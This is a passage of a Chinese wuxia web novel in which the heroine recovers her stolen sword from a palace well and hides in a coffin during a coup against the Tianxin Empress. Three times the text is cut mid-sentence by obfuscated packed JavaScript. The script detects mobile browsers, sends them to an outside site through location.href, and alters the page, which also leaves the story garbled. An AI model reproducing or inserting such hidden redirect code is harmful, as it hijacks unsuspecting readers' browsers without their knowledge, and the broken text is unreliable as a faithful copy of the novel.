“……原来如此,难怪你这么强。”血杏花轻蹙眉头,“北羽,最近罗刹堂杀人不眨眼,即便是你,一旦打搅我们,也会死。” “我不想跟罗刹堂起冲突,只想见一见月冷花。劳烦夫人替我转告他,白发剑圣的徒弟在四方馆等他三个月。倘若,他心里还有他死去多年的姐姐,就来见我一面。” “姐姐?” 血杏花愣了一下,扯了扯嘴角,“话我会转达,只要他能活着下,就一定会去见你。毕竟月桃花的死,一直是他的心结。” 北羽道了句多谢,花了近一年的时间找月冷花,今朝总算终于有了眉目。 她抱着襁褓回到四方馆。 南戏霖还没回来,在桌上留了纸条,说出去逛夜市了。 北羽找了一个医师来给孩子看病。 医师说孩子被下了微量的安神药,要仔细照顾几日,以免落下后遗症。 北羽向后厨要了羊奶和小炉子,方便孩子醒了喂饭,随后,洗漱上床,搂着小婴儿准备睡觉。 四五个月大的孩子,小得可怜。 北羽怕睡着压了他,又端了一碗水放在中间。 不知为何,她看着婴儿的小鼻子小眼,总觉得这一幕似曾相识,仿佛很久以前,她也曾照顾过一个小婴儿。 但,这怎么可能呢? 多年前,她也只是个几岁的孩子。 北羽合上眼。 这个小婴儿真是命苦,父母不知何人,养他的老乞丐也死了,若非凑巧撞上她,此时已经死在罗刹堂剑下了,命惨得像从前的叶一片。 等明天南戏霖回来了,可以帮她打听,附近有没有想收养孩子的好人家,给小婴儿一个家。 …… 雨滴拍打屋檐,发出类似呜咽的声音。 彼时,南戏霖正蜷缩在一处破旧的房屋残骸中,四肢冻得僵硬,脸上满是冰凉泪水。 一夜凄凄寒雨,也给整座乾元城渡上了一层冷冰。 35. 卷二·南境演武 南戏霖病了,一连病了五天。 医师说是寒气侵体,北羽老老实实待在四方馆,照顾了他五天。 她不明白入冬之后穿得最厚实的南戏霖,怎么会允许自己被冻病。 南戏霖的脸色很颓废。 北羽不跟他说话,他就像死人一样。 “你在夜市上被人偷钱了吗?” “没有。” “那被打了?被阴了?” “都没有。” 北羽放下药碗,“那你为什么这副模样。” 南戏霖长叹一声,“没什么。我会让它尽快过去。” 北羽道:“那夜血杏花的态度很古怪,罗刹堂似乎在预谋着什么。” “帮你打探消息的时候,我就察觉到罗刹堂要有大动作,而且,是冲着乾元城来的。” 南戏霖端起药碗,将汤药一口气灌下喉咙,苦极了。 “乾元城最近不会太平,明日寒菊宴过后,咱们依旧不出门。哪天罗刹堂闹完了,哪天我再陪你逛街。” 北羽不禁担忧,“那月冷花会不会死?” 南戏霖想了想,“月冷花武功很高,已经达到武圣水准,又是专门杀人的杀手,轻易死不了。” “但这也说不准。据我所知,南境的羽化境武圣,有几个一直待在乾元城,罗刹堂真要闹大了,他们不会不管。” 北羽叹了口气,替月冷花捏把汗。 到了第二日,南戏霖稍微恢复了生机,北羽也打起精神,坐上马车,去了南境皇宫。 ………… 寒月赏菊,是天心女帝定下的规矩。 传言,她还是公主的时候,就酷爱桃花与菊花。 醉菊殿里满殿清香,白菊冷胜霜雪,绿菊高雅如居士,墨菊孤傲,粉菊淡雅,各色菊花错落有致摆放在殿内。 乾元城最顶尖的贵族们,也如菊花一般,坐落在各自席位上。 他们身上披着的锦绣华服,比花瓣更娇嫩,绸缎泛起的光泽,也比花瓣的柔光多了分锐利。 金银玉盏相碰,随菊香一起浮动的,还有人心。 北羽和南戏霖是外来客,没什么顾虑,也不端着架子,天心女帝和太子尚未登场,二人就已尝遍了宴席上的六种菊花酒,且一致认为,南境人酿酒的功夫一般。 “南戏霖,东边有个蓝衣服的人,老看我们。”北羽道。 “那个人就是公孙泽。”南戏霖瞥向那边,“他大概想过来跟我们打招呼,但我们的脸色太臭了,他还在观望。” 方才来的几拨人,不是想看北羽的残仙剑,就是恭维学宫,亦或是单纯套近乎,个个眼珠子死盯着北羽,把北羽烦得够呛。 为了躲开这些无聊的应酬,南戏霖和北羽将脸高高挂起,摆出目中无人的样子,活像满殿人都欠了他们钱。 北羽看了公孙泽几眼,“长得挺一般的,竟能被评为乾元城第一世家公子。” 南戏霖:“这还一般,那什么叫好看?” “玄北离那样的呗。”她随口道。 南戏霖笑了:“那按你的眼光,天底下的男人九成九都是丑八怪了。” 北羽促狭一笑,忽然,她感觉到什么,道:“有剑气。” “剑气?在哪?” “大殿门口。” 南戏霖抬头望去,内侍尖细的嗓音,也在此刻响起。 “皇上驾到!” “太子驾到!” “圣女驾到!” 殿内浮动的暗潮在这一刻安静下来,衣料拂地的细微之音,此起彼伏,满座除了北羽、南戏霖皆垂首行大礼。 天心女帝与传闻中一样的尊威,深紫色的长袍上金龙盘身亮爪,点睛之处神采熠熠,映出她眼尾一抹睥睨。 不过,她倒没有多严肃,微微侧脸和左边的辰雪雪有说有笑,跟北羽在戏里听过的杀伐果断,略有不同。 太子欧阳寂落后她们半步。 一眼看过去,太子与他的母皇颇有几分相似,眉清目秀,端丽俊逸,只是神韵不太像。 也许是因为酷爱写诗作赋,他的气质更偏文人墨客,反倒是辰雪雪眉宇间的傲气,和天心女帝如出一辙。 走在后面的人,北羽也认识几个,战神韩誉年,以及他那两个上了学宫百强榜的侄子,韩飞鸿、韩霸天。 韩霸天还往她这边看了一眼。 而她感受到的剑气,来自三张陌生的面孔,一女两男,皆佩剑,神色淡然。 她问南戏霖:“那三人是谁?武功很不凡的样子。” 南戏霖:“如果我没有猜错,应该是南境八尊者中的三位。” 北境武道巅峰的六人,因为全部习剑,悟剑成圣,被称为六剑圣。而南境武道巅峰的八人,因为受了封号,被称为八尊。 尊者就是天心女帝给八人的封号。 天心女帝不仅威慑朝堂群臣,对于南境国内最厉害的一批羽化境高手,也是顺我者昌、逆我者亡的作态。 受了皇家封号,食了皇家俸禄,若敢与叛贼牵扯,便是谋逆之罪,当诛九族。 北羽咂舌道:“天心帝当真强势。放在北境,轩宸帝若敢封我师父什么名号,让他对皇室俯首称臣,他能提剑杀去皇宫。” 南戏霖:“到底两国国情不同。轩宸帝的登基之路十分顺遂,天心女帝则困难多了。” “南境上一任皇帝太德帝,昏庸无能,却很能生皇子。 华安门宫变后,十几个皇子皇孙,被天心女帝陆续杀光,半个不剩,最终天心女帝成为一根独苗,坐稳皇位。 然而,从天心帝开始争夺皇位的那天起,乾元城一直流传着一个谣言,说她根本就不是太德帝的女儿,九公主欧阳桃早就死了,回朝的是一个冒牌货。 震惊南境全国的白党祸变,正是因此而起。 多年过去,天心女帝励精图治,南境国泰民安,但乾元城中仍旧存在反对她的声音,假冒的传言仍旧在暗处流传。 辰雪雪,这位南境炙手可热的副相大人,天心女帝亲封的护国圣女,就被某些受打压的士族认为是女帝真正的血脉。” 北羽:“你之前怎么没告诉我这些事,我也从未听说过。” 南戏霖耸耸肩,“你又没问。再者,你平常听的那些戏,都是江湖故事,宫廷演义,哪里敢冒犯一国君威。” 北羽将目光投去高台之上。 天心女帝讲了几句场面话,殿内的一众臣子回了几句万岁千秋,寒菊宴重新恢复热闹。 辰雪雪举杯与女帝对盏,神态不自觉流露出一种亲昵。 察觉到北羽视线,她侧过脸,右耳的蓝宝石耳坠轻轻摇晃,暗影印在雪白脖颈,左耳则空荡荡。 北羽忽然觉得手里那枚耳坠烫了起来。 南戏霖疑惑道:“你和辰雪雪怎么眉来眼去的?” 北羽把耳坠给他看。 烛光之下,蓝色的宝石耳坠,光彩熠熠,似乎凝聚了深海幽辉,南戏霖日子过得穷,眼力却不输行家,只消几眼就看出这枚耳坠有多稀罕。 “看来你和辰雪雪很有缘分,不偏不倚刚好一针打落了她的耳坠。” “无巧不成书。” 北羽端起墨玉盏,饮了一杯酒,不远处的辰雪雪见状,也挑了盛着甜菊酒的墨玉盏。 南戏霖轻咳一声,拉回她的注意力,“太子跟公孙泽来了。” 欧阳寂一袭明黄锦衣,笑容端庄得体,只是凑近一看,面色似有孱弱之相。 身后的公孙泽高了他半个头,身姿修长如竹,天水碧华服衬出君子之气。 北羽和南戏霖起身跟他们打招呼。 欧阳寂十分随和,完全没有一国太子的架子,“北小姐,我读过你的苦春,真是好诗。” 北羽:“殿下过誉了,那不过是我有感而发,随手写的一首小诗,连韵都是散的,何谈好字。我读过殿下的词,那才叫一个好。” “诗词歌赋本就是用开抒发胸臆的,情之所至写下的,有时胜过精雕细琢作出的。”欧阳寂举起青玉盏,“二位从学宫远道而来,辛苦了,我敬你们一杯。” 北羽怕喝醉,只抿了一口,南戏霖的酒量尚可,跟公孙泽碰了好几杯。 欧阳寂:“可惜我的身子受不了长途跋涉,不然,早就趁着试剑大会开办,去北境学宫一览天下少年风采,再为学宫金柳和冷梅赋诗一首。 在尚且算得上是少年的年纪,错过了学宫试剑,实属人生一大憾事。” 南戏霖笑道:“虽说花有重开日,人无再少年,但殿下文采飞扬,哪怕岁月匆匆,也消磨不了半分。何愁没有作客学宫,一观少年试剑,二观学宫百景的那日。” 欧阳寂闻言,真诚一笑。 公孙泽也笑了,“南公子所言甚是,到那时南公子可就是东道主了。” “不敢当。将来的事,谁说的准呢。” 等欧阳寂与公孙泽走远,北羽忍不住掐了一把南戏霖,“你一本正经起来,比夫子还有范。” “那是,我可是见人说人话,见鬼说鬼话的。”南戏霖道。 北羽压低声音,“我有一个疑问。” “你说。” 南戏霖把头靠过去,两个人紧紧挨着,大殿之中,也只有他们是全心全意信任对方的。 “既然,天心女帝被质疑,那太子欧阳寂的血统也就同样存疑,可我看,殿内的士族子弟都很拥护他。” “这个问题问得好。” 南戏霖用袖子挡住手,指了指正被世家子弟围住的欧阳寂,“从血统上来讲,即便天心女帝是假公主,也不影响欧阳寂将来继承皇位。” “因为他的父亲,南蛮归勒王的母亲,是太德帝的亲妹妹。” 北羽恍然大悟,南境朝堂复杂局势的根源,原来是太德帝。 都是因为他年轻的时候,把亲妹妹送到蛮族和亲;老的时候,把女儿送去和亲,才有了这么多乱糟糟的关系。 南戏霖接着道:“当年天心女帝为了巩固皇位,不仅杀了太德帝的皇子皇孙,连太德帝的两个兄弟,南境的两个老王爷的子孙,也一并安了个罪名杀了。” “最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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天心女帝一笑,抬手点了下辰雪雪,“你不是一直嚷着要见仙骨嘛,如今见到了,怎么不说话。” 辰雪雪抿抿唇,朝北羽伸出手,“你好。” “你也好。”北羽握住她的手,发现格外的凉。 …… 寒菊宴的重头戏是吟诗作对。 谁的诗最好,谁就能得到天心女帝的赏赐。 往常风头是太子欧阳寂、圣女辰雪雪以及公孙泽三个人分。 前段日子,欧阳寂和公孙泽得罪了天心女帝,女帝自然半点好脸色不给他们。 即便欧阳寂的词最好,但天心女帝偏夸辰雪雪的诗好,殿内众人也都顺着皇帝的意思讲话,欧阳寂明显有些落寞,只有公孙泽在一旁安慰他。 “公孙泽很照顾欧阳寂。”北羽对南戏霖道。 南戏霖:“当然。他和欧阳寂从小一起长大,被视为太子一党。” “什么叫被视为太子一党,公孙泽不就是太子的人吗?”北羽疑惑道。 南戏霖道:“听说过这样一句吗,太阳下山之后,远远走来的,是狼是犬呢?” “少考我,有话直说。”北羽不吃这一套。 南戏霖坦白道:“曾经有段日子,我很关注南境朝廷,以为南境的党派之争,是天心女帝平衡各方势力的手段。但当我真正来到乾元城,在当地交换情报,接触不同势力之后,发现很多事情和我想的都不一样。” 他的眼神落在辰雪雪身上。 整个镜悬大陆都认为辰雪雪是一个野心勃勃,城府深沉的人,是一柄天心女帝制衡朝堂的刀。 可实际上,辰雪雪更多时间都在习武,自创功法剑招,她能身居高位,更多是因为天心女帝喜欢她。 难怪总有人怀疑,她才是天心女帝的血脉。 而倍受冷落的欧阳寂,身为名正言顺的太子,毋庸置疑的皇位继承人,却总是受到母皇的打压排斥,多少人都觉得他可怜,同情他。 南戏霖从前也以为他处境不妙。 岂料,乾元城内真正蠢蠢欲动的一波人,正是太子党。 北羽总结道,“在你看来,众人皆观辰雪雪是白日狼兽,但其实,欧阳寂才是夜里吃人的狼,辰雪雪反而是和善的犬。” “我猜测是。” 南戏霖道:“关于欧阳寂的情报很少,我手里的情报只能证明他情同手足的好朋友公孙泽,是一个胸有韬略的人。 欧阳寂要么是一只善于伪装的狼,将来吃掉所有人;要么他是一只羊,背后的士族们才是分肉的狼。” 狼犬羊之论,听得北羽头疼,道:“南境朝廷再怎么乱,都跟我们没有关系,只要别打起仗来,祸害百姓就好。” 战乱祸害百姓,税赋过重也祸害百姓,这天下始终是兴百姓苦,亡百姓苦。 36. 卷二·南境演武 戌时已过。 寒菊宴终于结束了。 皇宫门前成排的豪丽马车流动,驶成一条长龙。 北羽迫不及待钻进车厢,躺倒在软垫上,南戏霖依旧情绪不高,坐在旁边发呆。 咚!咚咚! 打更人喊着天干物燥,小心火烛经过四方馆。 北羽无精打采地推开屋门,直奔软绵绵的床铺而去,无论南境北境的皇宫,都是天底下最无聊的地方,她不想再去第二次。 她懒懒翻过身,伸手去摸枕头底下的残仙,冰凉的触感并没有出现。 …… 她猛地起身,掀开枕头被子。 偌大床榻,不见剑影。 …… “啊!啊啊啊!” 隔壁的南戏霖一个激灵,冲进北羽的厢房,“怎么了!出什么事了!” 北羽拽住他,眼前发黑,“残仙不见了!我的剑不见了!” “这么可能呢!你跟残仙剑不是心有灵犀吗,能感觉到它在哪吗!”南戏霖慌张道。 北羽绝望道:“我就是感受不到它才急!” 南戏霖迅速冷静下来,问道:“以前有过这种情况吗?” “没有!” “不对,有!” “天机老人绑架我的时候,为防残仙护主,就把残仙封住了。”北羽脑子嗡嗡作响,“可是,就算有人觊觎残仙,偷走了它,也不可能一辈子把它锁在符匣里啊!” 南戏霖暗自盘算,试图找出怀疑对象。 北羽急道:“会不会是天心女帝派人干的!我出生之前,残仙剑一直是她的爱物,她又是皇帝,肯定能弄到专门封印灵剑的匣子!” 南戏霖觉得不是,天心女帝好歹是个皇帝,硬要看残仙剑的话,直接下召即可,何必干鸡鸣狗盗的事。 他安抚面色涨红的北羽,“残仙到底是你的剑,它又有灵性,不是普通人能藏得住的宝物。” “退一万步讲,偷走残仙的人,无非想要挟你,或者为难你,再有,就是觊觎残仙,总不至于毁剑的。只要残仙剑尚存于世,我们绝对能找到它。” “你先绕着乾元城跑一圈,看能不能找出残仙在哪个方位。” “好,好。” 北羽感到窒息,剑客没了剑,相当于没了半条命,残仙如果丢了,她真的会跳进洛江水里的。 夜色正浓。 北羽施展轻功,以最快速度分别去了乾元城东南西北四个方位,心急火燎地感受残仙剑,甚至在无人处动用太上忘情剑诀。 忙活半天,终于锁定了残仙。 残仙没有离开乾元城,它就在坐北朝南的方向,那里只有一个地方,皇宫! 北羽眼睛直接喷了火,急头白脸回了四方馆,对着南戏霖道:“天杀的!我要把南境皇宫给打塌!” 南戏霖吓一跳,赶紧捂住她的嘴。 “别乱讲,这里是驿馆。” “是她先拿了我的剑!” 北羽气得不行,“我要去皇宫把残仙拿回来。” 南戏霖劝道:“明天去吧,我们一起去。” “不行,迟则生变,我忍受不了残仙剑离开我!”北羽拉起他,奔出四方馆。 ………… 南境皇宫,御花园。 风吹草动,树影婆娑,幽深古井阴侧侧映出韩飞鸿俊美的面庞。 噗通一声,水纹波动。 “飞鸿,你做什么呢?” “扔个东西罢了。” 韩飞鸿转身一笑,揽住韩霸天的肩膀,“叔父还没从陛下那里出来?” 韩霸天:“叔父让我们先走,他说,今夜过于寒冷,皇宫要下雪。” “叔父又在打什么哑谜?”韩飞鸿回头瞥了一眼古井,“他既然不回府,那我就去雪雪府上住,回头问起来,你就说我逛鬼市去了。” 韩霸天狐疑扫了他两眼,“飞鸿,你是不是干坏事了?” “嗯?没有啊。”韩飞鸿装傻充愣。 “可你看起来既幸灾乐祸,又邀功心切。”韩霸天一针见血道。 “哥,你眼花了。”韩飞鸿轻轻揭过,刻意指着夜空道,“今晚的星辰格外耀眼,真漂亮,我们一起去找雪雪赏夜吧。” 韩霸天抬头看天,夜幕之中,繁星璀璨,确实比往常亮很多。 只是,他怎么觉得,星辰亮得有几分妖异。 ………… 另一边,北羽扯着南戏霖,躲过巡夜的守卫,来到皇宫城墙外。 “真的要进去?” 南戏霖最后挣扎一把。 “必须进去!” 北羽斩钉截铁,不容他拒绝。 “就用学宫的遁术进去,我在前面开路,你跟着我就行。” 南戏霖:“可是……” 北羽:“没什么可是的,施展遁术不在于武功高低,你休想推脱。” “那好吧。”南戏霖调整呼吸,使自身存在感降到最低,像一粒漂浮在空中的微尘一样。 两人悄无声息地潜入皇城,北羽用心感应着残仙,一路寻到花园。 偏僻的园子空荡荡,不见宫人身影。 北羽站在一口古井旁,怒火直冲天灵盖,南戏霖也紧锁眉头,这也太过分了,居然把残仙剑扔到了井里,简直是在羞辱北羽。 北羽一道内力打进井里,轰开浸泡在井水里的剑匣,残仙剑飞出,贴着主人的掌心,微微发颤,似在表示不满。 她把脸颊贴在剑身上,暗骂偷剑的小贼,要是让她逮到,定将此贼打得皮开肉绽! 南戏霖:“既然找回残仙了,咱们快离开吧,被人发现就麻烦了。” 北羽哼了声,“发现了正好,我找天心女帝说理去!” 两人步入暗影,按原路返回。 走着走着,北羽忽然停住。 南戏霖问:“怎么了?” “路……好像变了。我有点弄不清方向。”北羽努力找着生门,她遁术挺好的,第一次碰上连道都摸不清的状况。 南戏霖不如她,更是两眼一抹黑。 乌漆麻黑转了一阵子,北羽终于见到光亮,以为是到皇城门了,庆幸地走出去。 空旷华丽的宫殿,荡漾着鬼气,一副雕花镂空工艺精湛棺柩,摆在正中,静静竖立。烛火透过镂空的木雕,婀娜仙子脚踩层层祥云的阴影,如画般铺展在白狐毛毯上。 北羽和南戏霖双双惊呆。 “这是……” 南戏霖话未说完,北羽就一把捂住他的嘴,掀开棺盖躺了进去,幸好里面没有尸体,只有一个瓷罐,空间足够。 极轻的脚步声落下。 黑暗中,北羽在南戏霖掌心写字。 有人跟我们一样用遁术进来了,至少三个。 他们的遁术比我们强多了,肯定是高手,快用龟息功掩盖呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491633|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸心跳。 南戏霖照做,静下心神。 一声轻叹从他头顶传来。 “又是一年寒菊宴,你死去的年数也又添了一年。” 北羽和南戏霖齐齐瞪大眼,这是……天心女帝的声音! 完蛋了,闯到皇帝寝殿了! 北羽心想,这也太倒霉了,她虽然嘴上说要找天心女帝算账,但也不是躲棺材里吓人这种算法,一旦传出去,学宫和圣剑山的脸就全丢光了。 “你临死的时候,特别想看一眼菊花,我就连夜绣了一丛出来。 每回办寒菊宴,我都会想起灯下绣花的那一夜,我的眼几乎累瞎了,这辈子的眼泪,也几乎在那夜流尽了。” 天心女帝的嗓音染上悲痛。 北羽不禁好奇,谁死了,能让天心女帝痛哭流涕。 一阵脚步声传来,一道脆嫩的女音响起,“这么晚了,您还没睡,又伤心了吗?” 是辰雪雪的声音。 北羽来劲了,这是要讲宫闱秘事啊。 她在听过无数出关于天心女帝的戏文,料不到,今日碰上真人上场。 天心女帝幽幽叹息,“睡不着,这几天朕也不该睡着。雪雪,你为何还没走。” 辰雪雪:“寒菊宴之后,您总是会伤心,我想陪着您。” “……好孩子,过来坐吧。” 北羽支棱起来,听动静,她们是正对着棺柩坐下的。 天心女帝道:“你脸色不好,出什么事了?” 辰雪雪:“飞鸿那个傻子,一时意气,派人偷了北羽的残仙剑,我生气骂了他几句。” 天心女帝笑了笑,“他虽然傻,但对你忠心,拿了残仙剑而已,有什么大不了的,过几天送回去就好。若是北羽急眼了,你就当提前练手,跟她打一架。” 辰雪雪闷嗯一声。 棺柩里的北羽气到在心里骂爹,说得怪轻巧,偷她的剑扔到井里,跟扇她一巴掌有什么区别! 南戏霖按住她的手,让她冷静。 北羽继续听下去。 奇怪的是,外面突然安静,天心女帝跟辰雪雪仿佛消失了。 铮! 拔剑声起,辰雪雪怒喝,“谁在那里鬼鬼祟祟!出来!” 北羽的心猛地跳了一下,这就被发现了? “副相大人果然敏锐,这么快就发现在下了。” 一道低沉男声响起。 “郭麒佑?这么晚了,你躲在朕的寝宫作甚。莫非是寒菊宴的酒喝太多,兜不住脑袋,来找死吗。” 天心女帝的声音低沉起来,带着浓浓压迫感。 “哈哈哈!”郭麒佑大笑,“陛下啊陛下,您若想要微臣的命,十年前就该杀了我,否则,就不会有今天我来杀您的一幕。” 天心女帝也笑了,“凭你也想杀朕?郭麒佑,你是真疯了。” 郭麒佑高声道,“我当然疯了,从我背叛白大将军的那刻起,我就已经疯了!这么多年过去了,白大将军的英魂还时常到我的梦里,他流着血泪,指责我是个叛徒,是个叛臣!” “今夜,我就要给我自己治一治疯病,也给南境治一治疯病,把你这个来路不明的假皇帝,从龙椅上拉下来!” 哐当一声,殿门大开,北羽听见许多脚步声,听见了铁甲摩擦的噌噌声,以及无数拔刀的声音。 她冒出一身冷汗。 这是……宫变了! 37. 卷二·南境演武 大殿之上,天心女帝一袭白衣,稳坐榻上,辰雪雪拔剑而立,怒视堂下群兵。 “神龙卫向来是护卫皇城的中坚力量,尔等今日却随逆贼造反,简直辱没了你们身上的龙玄铁甲!” 郭麒佑冷笑道:“副相大人,你也知道神龙卫是守护皇宫,保护圣上的,可你身后的女人,根本不是太德帝的九公主,她只是一个卑贱的侍女,没有称帝的资格!” “郭贼,你胆敢以下犯上,辱骂君主!” 辰雪雪气极了,天心女帝却抬手拦住她,“把剑收起来,定海剑是天下名剑,岂能用来斩杀宵小。” 天心女帝神色自若,蔑视扫过殿内兵将,郭麒佑身披银甲,一脸的决绝,天心女帝却只觉得好笑。 “当年你还是白鹤忠副将之时,向朕告发了白鹤忠一党谋逆,借此平步青云,成了左神龙大将军。 朕曾经想过,谁会成为下一个白鹤忠,不想,竟然是你。” 郭麒佑:“有些事,总需要人去做。从前,站出来揭露真相的是白大将军,今日则是我!” “真相?” 天心女帝忍不住笑出声,她站起来,俯视众人。 “白鹤忠愚昧,你也愚昧。” “太德帝妄称仁德,实则生性软弱,他纵容宦官霍乱朝纲,养育的皇子个个蠢笨,不堪重任。” “南境外有蛮族虎视眈眈,三月攻十城,内有宫患频起,鱼肉百姓,眼看国将不国,更何谈统一天下!” “而朕登基之后,退蛮族、灭奸宦、减税赋、安民心,提拔寒门子弟压制士族,整治十几年方得河清海晏之景象。 太德帝的十几个皇子,哪个类朕!” “欧阳皇室,不过是一群爬在南境百姓身上敲骨吸髓的蛀虫,他们的覆灭,乃南境之幸,你们和死去的白党,表面愚忠,实则暗藏野心。 昔日白党下场,便是尔等日后归宿,现在认罪,还能免诛九族。” 郭麒佑鄙夷一笑:“大家听见了吗!她已经承认自己不是欧阳皇室的血脉了!” “是又如何,不是又如何?” 天心女帝一脸无所谓,“昔年白鹤忠手握兵权,领了五千精兵造反,也只落个尸骨无存,你只调动了两千神龙卫,就敢跟朕叫嚣。” 郭麒佑:“整个皇宫已经被我控制,今夜不会有援军来救你,仅凭一个辰雪雪,护不住你,就算加上皇宫里的三尊,也不够!” “控制皇宫?你压根没有这个本事。” 天心女帝依旧神色淡然,这份平静令郭麒佑恼怒,他拔高声调道:“我没有这个本事,但有些人有!得道多助失道寡助,今夜来取你性命者,并非只有我们神龙卫!” 天心女帝:“哦?还有谁啊?” “还有我们,陛下!” 一道嚣张不羁的声音传来。 殿内再次打开,一群人踏入大殿,为首者有四人。 一人着白衣,墨发及腰,面容冷峻,额佩白带,眉宇间凝聚一股丧气,像个吊丧鬼。 一人着黑衣,俊俏中带着痞气,手持短刃,腰带外面绕着铁索长鞭,里面围了一圈匕首。 一人着蓝衣,身姿挺拔,气质出尘,背负双剑,眼神冷清。 一人着红衣,裙摆如花苞般聚拢,背着个木匣子,发尾红带飘飘。 天心女帝一一看过他们的脸,唇边浮起笑意,“月冷花,阎娑风,高姗雪,谷深月,天下罗刹堂最顶尖的四位杀手,竟然齐聚一堂,真是稀罕。” 阎娑风:“哟,陛下居然认识我们这些小人物,在下深感荣幸呢。” “谦虚了,四位都是很有名的人。”天心女帝用手撑着脑袋。 “北境第一杀手月冷花,常年白衣,为姐带丧。常用一柄软剑,剑法绵密,剑招残影。据说一旦使出,月光下,只余对手残尸投影。” “南境第一杀手谷深月,爱惹眼红裳,使绞丝飞刃,最擅布碎尸阵,以此闻名天下。” “西海第一杀手阎娑风,用的是寸间刃,惯爱近身搏斗,远身使铁索长鞭。” “东海第一杀手高姗雪,天下使双剑第一人,双虹贯日剑法,凌厉无比。” 月冷花:“陛下很熟悉我们。” 天下女帝笑道,“你们应该也熟悉我。罗刹堂东海总堂主荣烬雪呢?” “死了,我杀的。” 高姗雪向前一步。 天心女帝啧了一声,“他可是你师父,抚养你长大。” 高姗雪面无表情道:“如果他养我,是为了有朝一日让我去送死,那这份养育之恩,也称不上是恩了。” “你现在也是在送死。” 天心女帝望着罗刹堂的杀手们,“原以为你们这群人是躲进深山老林等死了,不料,竟敢来杀朕,还挑了一个劣质的家伙合作。” 阎娑风:“若不是情非得已,罗刹堂也不想冒险来杀陛下。” “十五年之期将到,我们没有退路了,一旦陛下的兄长离开黑水狱,等待我们的就是残酷号令。” “与其来日葬身星宫,不如趁现在杀了陛下,断绝他出狱的路,搏一线生机。” 郭麒佑皱眉,看向罗刹堂众人,“兄长?什么兄长?她还有哥哥吗。” 天心女帝讥笑道:“郭麒佑,你跟罗刹堂合作来杀朕,却连朕究竟是谁都不知道。看来,罗刹堂对你保留很多。” 阎娑风按住郭麒佑的左肩,“郭大人,你要杀天心帝,我们也要杀天心帝,咱们目标一致就足够了。至于我们跟她家的恩怨,你还是不知道的好。” 天心女帝冷笑:“郭麒佑,当年白鹤忠死的时候做了个明白鬼。今日,朕也让你死个明白。” “你张口闭口都是出身,可出身算个什么!” “朕的老祖宗,曌朝开国皇帝辰胜天,就是大字不识几个的乡民。可她振臂一呼,率众起义,只用了七年就推翻星宫统治,成为东海与南境的帝王。镜悬大陆有一半的土地,插上了辰氏皇族的玄金凤凰旗帜。” “所谓欧阳皇室,在朕面前,不过家奴而已。” 躺在棺柩里的北羽大为震惊,天心女帝竟然是东海曌朝的皇嗣,写戏的人编都不敢这么编啊! 同时,她也提心吊胆,这场宫变牵扯到月冷花,万一他死了,她就前功尽弃了。 北羽动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491634|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了动身子,南戏霖在她掌心写道,天心帝异常冷静,应有后手,我们先静观其变。 很快,天心女帝铿锵有力的话语传入棺柩内。 “你们这群罗刹堂的刺客,空有杀人之力,却不动脑筋,以为从天机老人那里得到星宫绝密之术—大衍星诀,就可以控制皇宫,高枕无忧了。 殊不知,从天机老人死去的那刻起,你们的蛛丝马迹就露出来了。” “韩誉年,护驾!” 外面瞬间喧嚣,刀剑乱舞,四处都是厮杀声,南戏霖听不真切,北羽耳力过人,依稀能听见说话的声音。 那个叫郭麒佑的将军,显然没料到局势反转如此之快,倒是罗刹堂的四个堂主,好像早就有了预感,但四人皆是无畏。 天心女帝居然并不想跟罗刹堂动手,还在劝他们,“你们有禁军两千,杀手三百。朕有三千禁军五百铁骑,三位尊者,还有战神韩誉天。孰强孰弱,一目了然。倘若你们愿意认输,朕可以既往不咎,罗刹堂仍然能安立于世。” 阎娑风道:“即便优势在陛下,我们罗刹堂也不会退!今夜,是罗刹堂唯一翻身的机会,为了获得自由,为了跟我心爱的女人在一起,老子就算拼了这条命,也要取一取陛下的首级!” “荒唐!” 天心女帝嗓音带了怒意,“阎娑风,你为了攀西海无极宫的高枝,当他们的女婿,连身后同伴的性命都不顾了!” “天心帝,你无需浪费口舌。”谷深月喊道,“我们身后的三百同伴,都被你们姓辰的下了噬心蛊,我们四个人更是被种下生死符。只要辰骸罂出狱,他就会利用蛊毒威胁我们杀去星宫,届时,我们照样会死。” “与其被辰氏一族当作棋子一样用掉,还不如死在争取自由的路上!” 拼杀之声,愈发激烈,惨叫此起彼伏,外面俨然已经成了一片炼狱,鲜血的腥味飘入棺内。 这么乱的情况下,北羽和南戏霖倒是能用细微的声音交流了。 “怎么办?我们要一直躲到宫变结束吗。” “对,我们必须躲。天心女帝早有准备,罗刹堂和郭麒佑肯定会输,一旦被天心女帝发现我们偷听到所有的事情,那就糟了……” 南戏霖的里衣已经被冷汗浸透了,他不得不去算,假如真被发现了,他和北羽有几分生机。 这场宫变,一是南境内部的政斗,二是辰氏与罗刹堂的纠纷。 